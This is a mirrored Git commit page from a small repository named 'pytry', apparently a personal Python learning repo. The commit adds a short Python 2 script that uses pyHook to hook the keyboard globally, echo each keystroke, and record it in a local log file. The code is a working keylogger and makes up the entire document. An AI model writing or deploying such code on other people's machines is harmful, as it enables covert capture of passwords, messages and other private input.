mirror of
https://github.com/bendtherules/pytry.git
synced 2026-08-18 13:53:01 +00:00
All the previous files
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
import pyHook, pythoncom,sys,logging
|
||||
file_log=r"E:\Babu\log.txt"
|
||||
def OnKeyboardEvent(event):
|
||||
logging.basicConfig(filename=file_log,level=logging.DEBUG,format="%(message)s")
|
||||
print chr(event.Ascii)
|
||||
logging.log(10,chr(event.Ascii))
|
||||
hooks_manager=pyHook.HookManager()
|
||||
hooks_manager.KeyDown=OnKeyboardEvent
|
||||
hooks_manager.HookKeyboard()
|
||||
|
||||
pythoncom.PumpMessages()
|
||||
Reference in New Issue
Block a user